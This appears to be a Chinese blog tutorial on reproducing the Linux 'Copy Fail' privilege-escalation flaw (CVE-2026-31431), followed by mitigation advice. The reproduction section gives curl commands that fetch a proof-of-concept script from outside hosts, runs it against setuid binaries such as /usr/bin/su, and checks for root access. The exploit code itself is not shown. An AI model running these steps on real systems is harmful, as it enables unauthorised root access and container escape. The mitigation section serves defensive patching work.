昨天晚上,Xint Code团队公开了一个堪称“核弹级”的Linux本地提权漏洞——Copy Fail。
最恐怖的是:一个仅732字节、只用Python标准库的脚本,就能在几乎所有2017年后的主流Linux发行版(Ubuntu、RHEL、CentOS、Amazon Linux、SUSE等)上,从普通用户直接拿到root权限,而且无需race condition、稳定不崩溃。
今天这篇文章,我手把手教你在自己完全控制的测试服务器/虚拟机上安全复现测试。仅限测试环境,严禁用于任何非法用途!
一、漏洞到底有多狠?
- • 利用方式:AF_ALG + splice() 精准修改page cache(只改内存,不改磁盘)
- • 额外威胁:可实现Kubernetes容器逃逸(page cache主机全局共享)
一句话总结:拿来就能用的高危本地提权0day。
二、测试前必须做的准备(安全第一!)
强烈警告:
- • 只能在自己独占的测试虚拟机、云测试实例或隔离服务器上操作
准备工作:
- 2. 备份目标文件:
sudo cp -a /usr/bin/su /usr/bin/su.bak
- 3. 确认Python3已安装(绝大多数系统自带)
三、完整复现步骤(超详细)
步骤1:获取PoC脚本
# 推荐方式curl -O https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py# 或者官方提供的快捷方式curl https://copy.fail/exp -o copy_fail_exp.py
步骤2:运行利用脚本
python3 copy_fail_exp.py
脚本默认会针对/usr/bin/su进行攻击。你也可以指定其他setuid二进制:
python3 copy_fail_exp.py /bin/ping
整个过程通常在几秒到几十秒内完成,脚本会自动完成page cache注入。
步骤3:验证提权
su# 或直接执行sudo -i
成功的话,你会直接获得root权限(无需输入密码),输入id命令应该显示 uid=0(root)。
四、测试完成后如何清理?
# 清理page cache(推荐)echo 3 > /proc/sys/vm/drop_caches# 恢复原始文件sudo cp -a /usr/bin/su.bak /usr/bin/su# 重启服务器是最彻底的清理方式
五、如何快速修复?(生产环境必看)
临时缓解措施(强烈推荐):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead 2>/dev/null || true
永久修复:
- • 立即升级内核到包含修复补丁的版本(commit
a664bf3d603d 及后续) - • 限制
CONFIG_CRYPTO_USER_API相关模块 - • 对生产Pod增加严格seccomp/AppArmor策略,禁止AF_ALG socket
写在最后
这个漏洞的优雅和破坏力都让人脊背发凉——它几乎把“page cache全局共享”这个老生常谈的特性变成了真正的攻击面。
安全从来不是说说而已。在测试完这个漏洞后,我建议大家立刻检查自己服务器和K8s集群的内核版本和安全配置。
你已经复现成功了吗?欢迎在评论区安全地分享你的测试环境和内核版本(不要贴敏感信息)。
提醒:技术研究为了更好地防御,请务必遵守法律法规,仅在授权环境下进行安全测试。
安全第一,测试谨慎。 🛡️
(本文仅供技术学习与研究使用,任何非法利用后果自负)